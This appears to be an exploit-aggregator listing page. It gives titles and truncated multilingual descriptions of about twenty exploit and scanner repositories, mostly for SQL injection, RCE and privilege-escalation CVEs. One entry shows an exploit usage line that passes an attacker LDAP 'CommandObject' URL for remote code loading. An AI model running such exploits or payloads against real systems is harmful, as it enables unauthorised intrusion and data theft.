CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

G0BurpSQLmaPI

G0BurpSQLmaPI Autor: nu11secur1ty Anos: 2023–2026 Linguagem: Python com módulos Go opcionais Finalidade: Gerar solicitações de Prova de Conceito PoC de SQLi, automatizar ataques com sqlmap e gerenciar módulos de ataque com facilidade. Descrição O G0BurpSQLmaPI é um utilitário de linha de comando...

CVE-2019-3980-Open_Net_Admin_v18.1.1_RCE

CVE-2019-3980 – OpenNetAdmin 18.1.1 : Exécution de code à distance ⚠️ Avertissement Ce dépôt est destiné uniquement à des fins éducatives et de recherche. Les informations et le code fournis ici peuvent être utilisés dans des environnements contrôlés , comme des machines de laboratoire privées...

octoscan

:octocat: octoscan Octoscan ist ein statischer Schwachstellen-Scanner für GitHub-Action-Workflows. Inhaltsverzeichnis Inhaltsverzeichnis Installation Verwendung Remote-Workflows herunterladen Analysieren GitHub Action Regeln dangerous-checkout dangerous-action dangerous-write expression-injection...

CVE-2026-30741

Advisory di Sicurezza: CVE-2026-30741 Prodotto: OpenClaw Agent Platform Versioni interessate: v2026.2.6 e precedenti Tipo di vulnerabilità: Esecuzione di codice remoto RCE tramite iniezione di prompt lato richiesta Descrizione: La mancanza di validazione dell'integrità per le richieste API upstre...

CVE-2026-33910_SqlInjectionVulnerabilityOpenEMR8.0.0.2

CVE-2026-33910 - OpenEMR 弱点 CWE-89 对用于 SQL 命令的特殊元素的中和不当（'SQL 注入'） 该产品使用来自上游组件的外部影响输入来构造 SQL 命令的全部或部分，但未能正确中和或错误地中和那些可能修改预期 SQL 命令的特殊元素。如果没有充分去除或引用用户可控输入中的 SQL 语法，生成的 SQL 查询可能会导致这些输入被解释为 SQL 而非普通用户数据。更多信息请参考 MITRE。 总结 OpenEMR 8.0.0.2 在患者选择功能中存在一个 SQL 注入漏洞，可被已认证的攻击者利用。该漏洞源于患者选择功能中对输入验证不足。 详情...

CVE-2026-9848

CVE-2026-9848 CVE-2026-9848 é uma vulnerabilidade de Injeção SQL SQLi não autenticada que afeta o plugin WP Ticket Customer Support Ticket System & Helpdesk para WordPress até a versão 6.0.4, inclusive. A falha ocorre porque o plugin pega o parâmetro de busca s do WordPress e o concatena...

Samba-CVE-2007-2447-Exploit-Username-Map-Script

Samba CVE-2007-2447 利用工具 用户映射脚本 此仓库包含一个 Python 脚本，用于自动化利用 Samba 服务器（版本 3.0.20 至 3.0.25rc3）中的 CVE-2007-2447 漏洞。该工具仅用于 教育 目的和授权的渗透测试。 📝 技术学术描述 “用户映射脚本” 漏洞是由于当 Samba 配置中启用了 username map script 选项时，未对用户名输入进行清理所致。当发送包含 shell 元字符（如反引号 或子 shell $）的用户名时，服务器会以服务权限（通常是 root）执行这些命令。 🚀 要求 操作系统： Kali Linux /...

CVE-2026-22730-Scanner

Scanner & Exploit CVE-2026-22730 – SQL Injection nel MariaDB Vector Store di Spring AI Uno strumento professionale di valutazione della sicurezza per CVE-2026-22730 – una vulnerabilità critica di SQL injection scoperta nel MariaDB vector store di Spring AI. Questo strumento consente a penetration...

CVE-2025-32462-CVE-2025-32463-PoC-Lab

CVE-2025-32462 & CVE-2025-32463 – Laboratório de PoC Avançado Este repositório fornece um laboratório baseado em contêineres e PoC detalhado para duas vulnerabilidades críticas do sudo: CVE-2025-32462 – Bypass da lógica de correspondência de host do sudo -h CVE-2025-32463 – Fuga da biblioteca NSS...

CVE-2025-32429

CVE-2025-32429 – PHP PDO预处理语句中的SQL注入 此仓库包含一个针对 CVE-2025-32429 的概念验证漏洞利用程序，该漏洞影响启用了模拟功能的 PHP PDO 预处理语句。 📄 参考资料 Assetnote 的原始研究： https://slcyber.io/assetnote-security-research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements NVD 条目：...

CVE-2021-41649

CVE-2021-41649 CVE-2021-41649 Injection SQL dans online-shopping-system Le online-shopping-system est vulnérable à des attaques par injection SQL non authentifiées, de type aveugle booléenne/erreur et basées sur les erreurs. Le paramètre catid de la page /homeaction.php ne filtre pas la saisie...

xpath

xpath 用于授权安全测试的高级 XPath 注入扫描器。 由 Chokri Hammedi blue0x1 编写 · MIT 许可 概述 xpath 是一个使用 Nim 编写的快速、多技术 XPath 注入扫描器。它专注于实际检测、响应比较、可见提取、盲提取，以及针对真实世界 XML 支持应用的负载覆盖。 它除了 Nim 标准库外没有外部运行时依赖。 能力...

CVE-2026-60004

CVE-2026-60004 — RCE via Git Hook no Diffpatch do Gitea Injeção de Hook em Clone Bare → post-index-change → Execução Arbitrária de Comandos Visão Geral CVE-2026-60004 é uma vulnerabilidade de execução remota de código pré-autenticação de severidade crítica CVSS 9.8 nas plataformas Git...

VMWare_CVE-2022-22954

VMWareCVE-2022-22954 CVE-2022-22954 è una vulnerabilità di server-side template injection in VMware Workspace ONE Access e Identity Manager Risultato della ricerca Shodan PoC Segui Youtube Twitter...

CVE-2026-63030

CVE-2026-63030: wp2shell WordPress 批量 API 去同步 SQL 注入漏洞利用工具 通过 CVE-2026-63030 wp2shell 漏洞提取用户和密码哈希的概念验证工具。 漏洞信息 CVE : CVE-2026-63030 wp2shell 关联 CVE : CVE-2026-60137 类型 : 预认证盲注 SQL 注入 受影响版本 : WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 修复版本 : 6.9.5, 7.0.2+ 使用方法 root@kitploit: python POC.py options 基本用法...

CVE-2025-52399-SQLi-Institute-of-Current-Students

CVE-2025-52399 - SQL-Injection in Institute of Current Students Zusammenfassung Der Endpunkt loginlinkfaculty in der Anwendung Institute-of-Current-Students ist anfällig für SQL-Injection über den POST-Parameter fid. Der Parameter wird vor der Verwendung in einer SQL-Abfrage nicht ordnungsgemäß...

Privilege-escalation-MitraStar

Privilege-escalation-MitraStar-Router-GPT-2541GNAC-N1 CVE-2021-42165 Vulnérabilité d'élévation de privilèges sur les routeurs MitraStar Appareil : Mitrastar GPT-2541GNAC-N1 Micrologiciel : BRg3.5100VNZ0b33 non testé sur les autres versions Exploit : Les appareils Mitrastar GPT-2541GNAC-N1 sont...

Ashwesker-CVE-2025-64155

🔒 CVE-2025-64155：严重的 FortiSIEM 漏洞 📌 概述 CVE-2025-64155 是 Fortinet FortiSIEM （一款流行的安全信息和事件管理平台）中的一个严重安全漏洞 。该漏洞于 2026 年 1 月 13 日 公开披露，允许未经身份验证的远程攻击者 执行任意系统命令。 ⚠️ 漏洞详情 类型： OS 命令注入（CWE-78） 影响： 远程代码执行（RCE），具有 root 权限 攻击向量： 网络（TCP 端口 7900） 所需权限： 无 用户交互： 无 攻击复杂度： 低 严重性： CVSS 3.x 9.8（严重） 描述： 攻击者可以向...

CVE-2026-31844

Koha CVE-2026-31844: SQL Injection autenticata Panoramica Questo repository contiene un POC responsabile per la vulnerabilità CVE-2026-31844 , una SQL injection autenticata ad alta gravità nel sistema di gestione bibliotecaria Koha. La vulnerabilità esiste nella funzione GetDistinctValues in...